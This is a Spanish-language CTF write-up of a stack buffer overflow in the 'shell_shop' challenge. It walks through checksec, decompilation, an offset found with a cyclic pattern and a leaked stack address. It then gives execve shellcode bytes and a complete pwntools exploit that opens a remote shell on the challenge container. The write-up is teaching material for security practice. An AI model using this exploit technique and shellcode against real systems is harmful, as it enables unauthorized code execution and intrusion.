shell_shop
Bugcrowd Student Qualifier | Shell Shop Writeup#
Descripción#
Categoría: Pwn > Dificultad: Media
Para este reto, se nos brindó un comprimido pwn_shellstore.zip del ejecutable principal shell_shop, acompañado de las librerías necesarias en un directorio glibc.
La idea es analizar estos recursos para preparar un exploit contra este binario como servicio, en un contenedor docker que desplegaba la página del CTF.
En cuanto al ejecutable, este despliega un menú básico para la compra de un par de productos fantasiosos y una opción para terminar el programa, no sin antes preguntar si deseas ser notificado cuando la tienda reaparezca.
Análisis#
Manual#
Antes de profundizar en el análisis, me dispuse a interactuar y probar a mano las distintas opciones en el menú del programa.
Particularmente, hubo un comportamiento que llamó mi atención. Con el saldo inicial de 1337 monedas, únicamente se puede comprar el objeto X0 Armor.
Tras comprar este objeto y optar por salir de la tienda, el programa nos ofrece un “código de descuento” distinto en cada ejecución:
Este “código” parece más una dirección de memoria, por el formato hexadecimal.
Además, el hecho de que siempre inicie con los dígitos 7f sugiere que se trata de una dirección en la sección de la pila en memoria.
Checksec#
Por otra parte, utilicé la herramienta checksec para identificar medidas de seguridad activas en el binario.
En especial, nos interesan los mecanismos más importantes que son:
-
Stack Canary: Detección de corrupción de datos de lapila. -
NX: Bloqueo de ejecución de código en lapila. -
PIE: Aleatorización de lasdirecciones de memoriadel ejecutable.
checksec --file=shell_shop
# RELRO STACK CANARY NX PIE <--REDACTED-->
# Full RELRO No canary found NX disabled PIE enabled <--REDACTED-->
Por los resultados, notamos que Stack Canary y NX estan desactivados, lo que quiere decir que el binario podría ser susceptible a ataques de tipo Buffer Overflow.
Sin embargo, PIE sí se encuentra activo lo que hace impredecible las direcciones de memoria, dificultando en cierta medida la explotación.
Análisis avanzado#
Para un análisis más avanzado del binario, utilicé principalmente Radare2 con el plugin R2Ghidra y el depurador GDB acompañado de la extensión PwnDBG.
Decompilado y desensamblado#
Para empezar, obtuve y revisé el desensamblado y decompilado de varias funciones del binario con radare2.
Mi objetivo era identificar cualquier vulnerabilidad en el código y esclarecer el comportamiento del código de descuento.
Tras un tiempo, encontré esta sección interesante del código decompilado de la función main que responde ambas interrogantes:
Para el código de descuento, podemos ver que imprime la dirección &stack0xffffffffffffffc8 en formato de apuntador (%p).
Esta sintaxis de Ghidra se refiere a un desplazamiento de 0xffffffffffffffc8, que representa -56 en el sistema decimal, de una dirección base &stack relacionada a una sección de la pila de esta función.
Así confirmamos que el código de descuento es una dirección específica de la pila.
Después, hay una vulnerabilidad cuando se pregunta al usuario si desea ser notificado, debido a 2 razones:
- El programa escribe la respuesta directamente en la
pila, en la dirección&stack0xffffffffffffffc6. - Aunque solo se requiere un caracter en la respuesta, se le indicó a la
funciónfgets recibir hasta 100 caracteres.
Esto abre completamente la posibilidad a un ataque de Buffer Overflow si logramos sobreescribir la dirección de retorno almacenada en la pila, y redirigir el flujo de ejecución a la misma pila.
Pero primero, dada la restricción del PIE, debemos determinar una dirección de retorno específica a la sección de la pila que podemos sobreescribir.
Antes se mencionó que el programa escribe nuestra respuesta en &stack0xffffffffffffffc6 que, bajo la misma sintaxis del ejemplo anterior, representa la dirección &stack con un desplazamiento de -58.
Es decir, 2 bytes antes que cualquier dirección otorgada como código de descuento!
O sea que, a pesar de la aleatorización de las direcciones, siempre sabremos que la dirección filtrada como código de descuento se ubica 2 bytes después de donde se comienza a almacenar nuestra respuesta.
Finalmente, solo resta determinar si podemos sobreescribir la dirección de retorno de esta función, y en caso afirmativo, identificar el offset necesario para sobreescribirla.
Depuración#
Para esta tarea, me apoyé de PwnDBG, primero generando una cadena de patrón cíclico con una longitud adecuada mediante el comando:
pwndbg> cyclic 99
Después copié esta cadena y ejecuté el binario con el siguiente comando:
pwndbg> run
Tras solicitar terminar el programa, introduje dicha cadena como respuesta a si deseo ser notificado, obteniendo un error de Segmentation Fault.
>> 3
Do you want to get notified when the Virtual Shell Shop appears again? (y/n): aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaa
Some events and shops appear randomly, good luck!
Program received signal SIGSEGV, Segmentation fault.
Esto siempre es buena señal, y con apoyo del depurador confirmé que es debido a la corrupción de la dirección de retorno, pues el programa intentó retornar a una dirección inexistente:
> 0x555555555603 <main+372> ret <0x6169616161616161>
Esta dirección inexistente, es en realidad un fragmento de nuestra cadena de patrón cíclico, entonces, confirmamos que es posible sobreescribir la dirección de retorno y podemos obtener el offset mediante el siguiente comando en PwnDBG:
pwndbg> cyclic -l 0x6169616161616161
Finding cyclic pattern of 8 bytes: b'aaaaaaia' (hex: 0x6161616161616961)
Found at offset 58
Conclusiones#
Tras todo el análisis, repasemos la información que recopilamos de este binario y que será clave para el desarrollo del exploit:
- Se aleatorizan las
direcciones de memoria, pero no hay ningun mecanismo de protección en lapila. - Filtra una
dirección de memoriaespecífica. - Es susceptible a
Buffer Overflowcuando pregunta si deseas ser notificado. - La respuesta a esta pregunta comienza su escritura 2
bytesantes de la dirección filtrada. - Tras los primeros 58
bytesescritos, los siguientes sobreescriben ladirección de retornode lafunciónmain.
Explotación#
Antes que nada, busqué un Shellcode adecuado en la página web Shell Storm, para la arquitectura x86-64 y plataforma Linux
Opté por el Shellcode execve("/bin/bash",{NULL},{NULL}) - 24 bytes que simplemente ejecuta una línea de comandos, especificamente bash.
El código en ensamblador de la página es el siguiente:
mov rax, 0x68732f6e69622f
push rax
push rsp
pop rdi
xor eax, eax
push rax
mov al, 59
push rsp
pop rdx
push rsp
pop rsi
syscall
Con apoyo de un ensamblador en línea, ensamblé este código para la arquitectura x64, verificando así su integridad y compatibilidad.
En consecuencia, la página te brinda varias representaciones del código ensamblado, pero la más útil para este ejercicio es String Literal, que es la siguiente cadena:
"\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x54\x5F\x31\xC0\x50\xB0\x3B\x54\x5A\x54\x5E\x0F\x05"
Así, podemos incorporar directamente esta cadena en el exploit sin más problemas.
Decidí desarrollar el exploit en Python, en conjunto con la librería Pwntools que facilita este proceso. El exploit se ve de la siguiente manera:
#!/usr/bin/env python3
# ------------------
# Ookami
# Hackers Fight Club
# ------------------
from pwn import remote,p64
SHELLCODE = b'\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x54\x5F\x31\xC0\x50\xB0\x3B\x54\x5A\x54\x5E\x0F\x05'
docker = '172.17.0.2:8080'
host, port = docker.split(':')
r = remote(host, int(port))
r.recvuntil(b'>> ')
r.sendline(b'2')
r.recvuntil(b'>> ')
r.sendline(b'3')
r.recvuntil(b'[')
addr = int(r.recv(14).decode(),16)
r.recvuntil(b'(y/n): ')
payload = b'AA'+SHELLCODE+b'B'*32+p64(addr)
r.sendline(payload)
r.recv(52)
r.interactive()
r.close()
La mayor parte de este, es establecer la conexión con el servidor:puerto indicados, simular la interacción con el menú para comprar el objeto y capturar la dirección filtrada.
Sabiendo que la dirección siempre mide 14 caracteres (o bytes) y se encuentra entre corchetes, no es dificil utilizar las funciones recvuntil y recv implementadas por pwntools para realizarlo y convertirla a un entero.
Por otra parte, la creación del payload principal fue de la siguiente manera:
- 2 caracteres basura por la diferencia con la dirección filtrada.
- Cadena de
bytesdelShellcodeseleccionado de 24bytes. - 32 caracteres basura necesarios para completar el
offsetnecesario de 58. Dirección de retornoen formatoLittle-Endian, de lo que se encarga la funciónp64. Es decir, por poner un ejemplo, convierte un entero0x7fffa2aecf60a una cadena debytes:b'\x60\xcf\xae\xa2\xff\x7f\x00\x00'.
Finalmente, tras enviar este payload y recibir la despedida del programa, volvemos interactivo el programa para simular una línea de comandos.
Después, podremos leer la bandera normalmente con un comando cat en esta shell improvisada.
cat flag.txt
# HTB{<--REDACTED-->}
Recursos de apoyo#
- Radare2 Cheatsheet - https://github.com/radareorg/radare2/blob/master/doc/intro.md
- GDB Cheatsheet - https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf
- PwnDBG Cheatsheet - https://pwndbg.re/CheatSheet.pdf
- Mastering Pwntools - https://medium.com/@kuldeepkumawat195/mastering-pwntools-a-python-library-for-ctf-challenges-and-exploit-development-8547668c861c